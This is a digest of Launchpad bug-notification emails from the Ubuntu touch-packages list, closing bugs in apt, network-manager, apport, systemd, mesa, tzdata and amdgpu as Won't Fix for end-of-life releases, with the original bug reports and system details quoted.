  Since libwrap0 is a core dependency of gnome, a large part of gnome will be 
removed alongside the removal of the task.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/574287/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1971418] Re: network-manager/1.36.4-2ubuntu1 ADT test failure with linux/5.15.0-28.29

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: urfkill (Ubuntu Kinetic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1971418

Title:
  network-manager/1.36.4-2ubuntu1 ADT test failure with
  linux/5.15.0-28.29

Status in linux package in Ubuntu:
  Fix Released
Status in network-manager package in Ubuntu:
  Invalid
Status in urfkill package in Ubuntu:
  New
Status in linux source package in Jammy:
  Fix Released
Status in network-manager source package in Jammy:
  Invalid
Status in urfkill source package in Jammy:
  New
Status in linux source package in Kinetic:
  Fix Released
Status in network-manager source package in Kinetic:
  Invalid
Status in urfkill source package in Kinetic:
  Won't Fix

Bug description:
  This is a scripted bug report about ADT failures while running
  network-manager tests for linux/5.15.0-28.29 on jammy. Whether this is
  caused by the dep8 tests of the tested source or the kernel has yet to
  be determined.

  Testing failed on:
  amd64: 
https://autopkgtest.ubuntu.com/results/autopkgtest-jammy/jammy/amd64/n/network-manager/20220503_090742_432dd@/log.gz
  arm64: 
https://autopkgtest.ubuntu.com/results/autopkgtest-jammy/jammy/arm64/n/network-manager/20220429_062345_345a3@/log.gz
  ppc64el: 
https://autopkgtest.ubuntu.com/results/autopkgtest-jammy/jammy/ppc64el/n/network-manager/20220429_060513_fc2a9@/log.gz

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1971418/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1972115] Re: ubuntu-bug exits after dialog instead of sending data

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apport (Ubuntu Kinetic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1972115

Title:
  ubuntu-bug  exits after dialog instead of sending data

Status in Apport:
  Confirmed
Status in apport package in Ubuntu:
  Confirmed
Status in apport source package in Jammy:
  Confirmed
Status in apport source package in Kinetic:
  Won't Fix

Bug description:
  After a gnome-shell crash, I am trying to manually submit it by
  running 'ubuntu-bug /var/crash/_usr_bin_gnome-shell.1000.crash'.  This
  results in an apport-gtk prompt asking me "Send problem report to the
  developers?"  When I click 'send', the dialog disappears and ubuntu-
  bug exits, without uploading data to launchpad or interfacing with the
  browser.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1972115/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2015126] Re: systemd doesn't successfully enforce RuntimeMaxSec for gnome session

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: systemd (Ubuntu Kinetic)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/2015126

Title:
  systemd doesn't successfully enforce RuntimeMaxSec for gnome session

Status in systemd package in Ubuntu:
  Triaged
Status in systemd source package in Jammy:
  Triaged
Status in systemd source package in Kinetic:
  Won't Fix

Bug description:
  On Jammy, I have configured systemd to set RuntimeMaxSec on certain
  user sessions:

  # cat /run/systemd/transient/session-43.scope 
  # This is a transient unit file, created programmatically via the systemd 
API. Do not edit.
  [Scope]
  Slice=user-1000.slice

  [Unit]
  Description=Session 43 of User xavier
  Wants=user-runtime-dir@1000.service
  Wants=user@1000.service
  After=systemd-logind.service
  After=systemd-user-sessions.service
  After=user-runtime-dir@1000.service
  After=user@1000.service
  RequiresMountsFor=/home/xavier

  [Scope]
  SendSIGHUP=yes
  TasksMax=infinity
  RuntimeMaxSec=2h
  #

  I have verified that this does what's expected on an ssh session, and
  kills the session when the runtime max has been reached.

  But on a GNOME login session (using X), this apparently doesn't work:
  the session is still running 17 hours after it should have been
  terminated.

  My guess is that systemd is ending the session by sending a signal
  that is being ignored by the GNOME login session?

  RuntimeMaxSec is not very useful if it's advisory...

  ProblemType: Bug
  DistroRelease: Ubuntu 22.04
  Package: systemd 249.11-0ubuntu3.7
  ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17
  Uname: Linux 5.19.0-38-generic x86_64
  ApportVersion: 2.20.11-0ubuntu82.3
  Architecture: amd64
  CasperMD5CheckResult: pass
  CurrentDesktop: ubuntu:GNOME
  Date: Mon Apr  3 12:20:22 2023
  InstallationDate: Installed on 2023-01-22 (70 days ago)
  InstallationMedia: Ubuntu 22.04.1 LTS "Jammy Jellyfish" - Release amd64 
(20220809.1)
  MachineType: LENOVO 2306CTO
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic 
root=UUID=c415e6a8-5cd2-4d08-913d-14c00b792374 ro quiet splash vt.handoff=7
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/25/2013
  dmi.bios.release: 2.57
  dmi.bios.vendor: LENOVO
  dmi.bios.version: G2ET97WW (2.57 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 2306CTO
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Defined
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.ec.firmware.release: 1.13
  dmi.modalias: 
dmi:bvnLENOVO:bvrG2ET97WW(2.57):bd10/25/2013:br2.57:efr1.13:svnLENOVO:pn2306CTO:pvrThinkPadX230:rvnLENOVO:rn2306CTO:rvrNotDefined:cvnLENOVO:ct10:cvrNotAvailable:skuLENOVO_MT_2306:
  dmi.product.family: ThinkPad X230
  dmi.product.name: 2306CTO
  dmi.product.sku: LENOVO_MT_2306
  dmi.product.version: ThinkPad X230
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/2015126/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2013128] Re: mesa: set info.separate_shader for ARB programs

[Brian Murray]

Ubuntu 23.04 (Lunar Lobster) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: mesa (Ubuntu Lunar)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/2013128

Title:
  mesa: set info.separate_shader for ARB programs

Status in mesa package in Ubuntu:
  Fix Released
Status in mesa source package in Jammy:
  In Progress
Status in mesa source package in Kinetic:
  Won't Fix
Status in mesa source package in Lunar:
  Won't Fix
Status in mesa source package in Mantic:
  Fix Released

Bug description:
  [Impact]
  There's a shader bug in 22.2.x, fixed upstream in commit

  
https://gitlab.freedesktop.org/mesa/mesa/-/commit/7e68cf91d74e6bd9a88c2b52417451d9afec4782

  but since 22.2.x is already EOL, we need to backport it.

  [Test case]

  Install update, check that the application from the submitter works.

  
  [Where things could go wrong]
  This is a oneliner that flips a bool, but it's hard to imagine use-cases 
which would expect the old value.

  
  --

  
  I have a bug that occurs in Ubuntu 22.04's most up to date libmesa related 
packages (=22.2.5-0ubuntu0.1~22.04.1) that was not there in =22.0.1-1ubuntu2. 
It has since been solved in mesa's repo and pulled into debian's repo. I do not 
know the proper way to request an updated version be made for Ubuntu. I've 
manually installed many different versions of libmesa to test on my own that it 
was working in an older version, is broken in this update, and was fixed again 
in 22.3.4 and 22.3.5.

  The one-line fix is implemented here in libmesa's repo:
  
https://gitlab.freedesktop.org/mesa/mesa/-/commit/7e68cf91d74e6bd9a88c2b52417451d9afec4782

  Unfortunately I'm not using libmesa directly. I'm programming an
  application using fox-toolkit which interfaces with libmesa behind the
  scenes for me. I reported my issue to them first, and they stated it
  appears to be in the mesa library, which is what ultimately led me
  down the path to their repo, debian's repo, and here. Please let me
  know if I'm in the right spot, and, if so, what my next step is to
  properly report this.

  --

  Feature Request: Upgrade mesa libraries to apply upstream bugfix to a
  bug introduced in 22.2.5-0ubuntu0.1~22.04.1.

  I was directed to report this bug via my question at
  answers.launchpad.net/ubuntu:
  https://answers.launchpad.net/ubuntu/+question/705988

  Please let me know if you need further information.  Thanks!

   > lsb_release -rd
  Description: Ubuntu 22.04.2 LTS
  Release: 22.04

   > apt-cache policy libglx-mesa0
  libglx-mesa0:
    Installed: 22.2.5-0ubuntu0.1~22.04.1
    Candidate: 22.2.5-0ubuntu0.1~22.04.1
    Version table:
   *** 22.2.5-0ubuntu0.1~22.04.1 500
  500 http://us.archive.ubuntu.com/ubuntu jammy-updates/main amd64 
Packages
  100 /var/lib/dpkg/status
   22.0.1-1ubuntu2 500
  500 http://us.archive.ubuntu.com/ubuntu jammy/main amd64 Packages

  ProblemType: Bug
  DistroRelease: Ubuntu 22.04
  Package: libglx-mesa0 22.2.5-0ubuntu0.1~22.04.1
  ProcVersionSignature: Ubuntu 5.19.0-35.36~22.04.1-generic 5.19.17
  Uname: Linux 5.19.0-35-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu82.3
  Architecture: amd64
  CasperMD5CheckResult: unknown
  CurrentDesktop: i3
  Date: Tue Mar 28 15:30:59 2023
  InstallationDate: Installed on 2022-04-28 (334 days ago)
  InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 
(20220419)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  RebootRequiredPkgs: Error: path contained symlinks.
  SourcePackage: mesa
  UpgradeStatus: No upgrade log present (probably fresh install)
  modified.conffile..etc.default.apport: [modified]
  mtime.conffile..etc.default.apport: 2022-04-29T14:47:14.568862

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/2013128/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2017999] Re: tzdata 2023c-0ubuntu0.22.04.1 might have some inconsistency

[Brian Murray]

Ubuntu 23.04 (Lunar Lobster) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: python-tz (Ubuntu Lunar)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to tzdata in Ubuntu.
https://bugs.launchpad.net/bugs/2017999

Title:
  tzdata 2023c-0ubuntu0.22.04.1 might have some inconsistency

Status in python-tz package in Ubuntu:
  Fix Released
Status in tzdata package in Ubuntu:
  Fix Released
Status in python-tz source package in Focal:
  Invalid
Status in tzdata source package in Focal:
  Fix Released
Status in python-tz source package in Jammy:
  Invalid
Status in tzdata source package in Jammy:
  Fix Released
Status in python-tz source package in Kinetic:
  Invalid
Status in tzdata source package in Kinetic:
  Fix Released
Status in python-tz source package in Lunar:
  Won't Fix
Status in tzdata source package in Lunar:
  Fix Released

Bug description:
  [ Impact ]

  Recent updates have been using `PACKRATDATA=backzone` in order to add
  all out-of-scope lower-quality pre-1970 data back that existed in
  earlier tzadata releases (see bug #2003797). However it also leads to
  time zones like America/Ensenada, Atlantic/Jan_Mayen, Europe/Tiraspol,
  and Pacific/Enderbury to change:

  compared to 2023c-0ubuntu0.22.04.0
  - America/Ensenada->only dst changes until 2022 are shown
  - Atlantic/Jan_Mayen->now valid data is shown
  - Europe/Tiraspol->only dst changes until 2010 are shown

  [ Test Plan ]

  Add an autopkgtest test case for post-1970 symlink consistency: Check
  that the timezones for today and in half a year (= to cover DST
  changes) do not change compared to building them without
  `PACKRATDATA=backzone`.

  The mentioned timezones that differed can also be tested manually.
  Running following commands should have the same output (the output
  mentioned here is from tzdata 2023c-0ubuntu0.22.04.0):

  ```
  $ TZ=America/Ensenada date -d "2023-04-28 13:49 Z"
  Fri Apr 28 06:49:00 PDT 2023
  $ TZ=Atlantic/Jan_Mayen date -d "2023-04-28 13:49 Z"
  Fri Apr 28 15:49:00 CEST 2023
  $ TZ=Europe/Tiraspol date -d "2023-04-28 13:49 Z"
  Fri Apr 28 16:49:00 EEST 2023
  ```

  [ Where problems could occur ]

  Timezone data could be wrong. Systems with incorrect timezone set may
  observe unexpected time shift when updating the package.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python-tz/+bug/2017999/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2043640] Re: amdgpu: GPU Recovery fails, frequent hangs

[Brian Murray]

Ubuntu 23.04 (Lunar Lobster) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: mesa (Ubuntu Lunar)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/2043640

Title:
  amdgpu: GPU Recovery fails, frequent hangs

Status in Mesa:
  Fix Released
Status in linux package in Ubuntu:
  Confirmed
Status in mesa package in Ubuntu:
  Fix Released
Status in linux source package in Jammy:
  Confirmed
Status in mesa source package in Jammy:
  New
Status in linux source package in Lunar:
  Won't Fix
Status in mesa source package in Lunar:
  Won't Fix

Bug description:
  I've been using 23.04 for a few months, and experienced a total system
  hang occasionally when sharing my screen over Zoom or Google Meet
  (running on Google Chrome).

  At first it hangs and then it periodically flashes like it's trying
  (unsuccessfully) to recover; I've got 3 screens (including the
  laptop's internal one) and each attempt shows something different (at
  first it tries to recover the contents of all 3 screens, then it shows
  only one of them, and then it shows the same content on all 3, but it
  never gets responsive).

  I've recently upgraded to 23.10, hoping a new kernel would help the
  situation. It's only gotten considerably worse now; it hangs sometimes
  just when opening Zoom; it's somehow easier to reproduce with Google
  Chrome. Interestingly, it fails quickly and reliably now when enabling
  my webcam (with special effects). It started hanging badly when using
  Google Maps as well.

  For all these behaviors, I suspect amdgpu is to blame (I'm running on
  Renoir, 4750U Pro); `dmesg` and `journalctl` didn't seem to show
  anything interesting.

  Any tips about debugging this further?

  ProblemType: Bug
  DistroRelease: Ubuntu 23.10
  Package: linux-generic 6.5.0.10.12
  ProcVersionSignature: Ubuntu 6.5.0-10.10-generic 6.5.3
  Uname: Linux 6.5.0-10-generic x86_64
  ApportVersion: 2.27.0-0ubuntu5
  Architecture: amd64
  CRDA: N/A
  CasperMD5CheckResult: pass
  CurrentDesktop: GNOME
  Date: Thu Nov 16 02:27:45 2023
  InstallationDate: Installed on 2023-07-02 (137 days ago)
  InstallationMedia: Ubuntu 23.04 "Lunar Lobster" - Release amd64 (20230418)
  MachineType: {report['dmi.sys.vendor']} {report['dmi.product.name']}
  ProcEnviron:
   LANG=en_US.UTF-8
   PATH=(custom, no user)
   SHELL=/bin/bash
   TERM=xterm-256color
   XDG_RUNTIME_DIR=
  ProcFB: 0 amdgpudrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-6.5.0-10-generic 
root=/dev/mapper/ubuntu--vg-ubuntu--lv ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-6.5.0-10-generic N/A
   linux-backports-modules-6.5.0-10-generic  N/A
   linux-firmware20230919.git3672ccab-0ubuntu2.1
  SourcePackage: linux
  UpgradeStatus: Upgraded to mantic on 2023-11-14 (2 days ago)
  dmi.bios.date: 06/13/2023
  dmi.bios.release: 1.44
  dmi.bios.vendor: LENOVO
  dmi.bios.version: R1BET75W(1.44 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20UD000GUS
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0J40697 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.ec.firmware.release: 1.44
  dmi.modalias: 
dmi:bvnLENOVO:bvrR1BET75W(1.44):bd06/13/2023:br1.44:efr1.44:svnLENOVO:pn20UD000GUS:pvrThinkPadT14Gen1:rvnLENOVO:rn20UD000GUS:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone:skuLENOVO_MT_20UD_BU_Think_FM_ThinkPadT14Gen1:
  dmi.product.family: ThinkPad T14 Gen 1
  dmi.product.name: 20UD000GUS
  dmi.product.sku: LENOVO_MT_20UD_BU_Think_FM_ThinkPad T14 Gen 1
  dmi.product.version: ThinkPad T14 Gen 1
  dmi.sys.vendor: LENOVO

  X-HWE-Bug: Bug #2047389

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/2043640/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2043640] Re: amdgpu: GPU Recovery fails, frequent hangs

[Brian Murray]

Ubuntu 23.04 (Lunar Lobster) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: linux (Ubuntu Lunar)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/2043640

Title:
  amdgpu: GPU Recovery fails, frequent hangs

Status in Mesa:
  Fix Released
Status in linux package in Ubuntu:
  Confirmed
Status in mesa package in Ubuntu:
  Fix Released
Status in linux source package in Jammy:
  Confirmed
Status in mesa source package in Jammy:
  New
Status in linux source package in Lunar:
  Won't Fix
Status in mesa source package in Lunar:
  Won't Fix

Bug description:
  I've been using 23.04 for a few months, and experienced a total system
  hang occasionally when sharing my screen over Zoom or Google Meet
  (running on Google Chrome).

  At first it hangs and then it periodically flashes like it's trying
  (unsuccessfully) to recover; I've got 3 screens (including the
  laptop's internal one) and each attempt shows something different (at
  first it tries to recover the contents of all 3 screens, then it shows
  only one of them, and then it shows the same content on all 3, but it
  never gets responsive).

  I've recently upgraded to 23.10, hoping a new kernel would help the
  situation. It's only gotten considerably worse now; it hangs sometimes
  just when opening Zoom; it's somehow easier to reproduce with Google
  Chrome. Interestingly, it fails quickly and reliably now when enabling
  my webcam (with special effects). It started hanging badly when using
  Google Maps as well.

  For all these behaviors, I suspect amdgpu is to blame (I'm running on
  Renoir, 4750U Pro); `dmesg` and `journalctl` didn't seem to show
  anything interesting.

  Any tips about debugging this further?

  ProblemType: Bug
  DistroRelease: Ubuntu 23.10
  Package: linux-generic 6.5.0.10.12
  ProcVersionSignature: Ubuntu 6.5.0-10.10-generic 6.5.3
  Uname: Linux 6.5.0-10-generic x86_64
  ApportVersion: 2.27.0-0ubuntu5
  Architecture: amd64
  CRDA: N/A
  CasperMD5CheckResult: pass
  CurrentDesktop: GNOME
  Date: Thu Nov 16 02:27:45 2023
  InstallationDate: Installed on 2023-07-02 (137 days ago)
  InstallationMedia: Ubuntu 23.04 "Lunar Lobster" - Release amd64 (20230418)
  MachineType: {report['dmi.sys.vendor']} {report['dmi.product.name']}
  ProcEnviron:
   LANG=en_US.UTF-8
   PATH=(custom, no user)
   SHELL=/bin/bash
   TERM=xterm-256color
   XDG_RUNTIME_DIR=
  ProcFB: 0 amdgpudrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-6.5.0-10-generic 
root=/dev/mapper/ubuntu--vg-ubuntu--lv ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-6.5.0-10-generic N/A
   linux-backports-modules-6.5.0-10-generic  N/A
   linux-firmware20230919.git3672ccab-0ubuntu2.1
  SourcePackage: linux
  UpgradeStatus: Upgraded to mantic on 2023-11-14 (2 days ago)
  dmi.bios.date: 06/13/2023
  dmi.bios.release: 1.44
  dmi.bios.vendor: LENOVO
  dmi.bios.version: R1BET75W(1.44 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20UD000GUS
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0J40697 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.ec.firmware.release: 1.44
  dmi.modalias: 
dmi:bvnLENOVO:bvrR1BET75W(1.44):bd06/13/2023:br1.44:efr1.44:svnLENOVO:pn20UD000GUS:pvrThinkPadT14Gen1:rvnLENOVO:rn20UD000GUS:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone:skuLENOVO_MT_20UD_BU_Think_FM_ThinkPadT14Gen1:
  dmi.product.family: ThinkPad T14 Gen 1
  dmi.product.name: 20UD000GUS
  dmi.product.sku: LENOVO_MT_20UD_BU_Think_FM_ThinkPad T14 Gen 1
  dmi.product.version: ThinkPad T14 Gen 1
  dmi.sys.vendor: LENOVO

  X-HWE-Bug: Bug #2047389

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/2043640/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp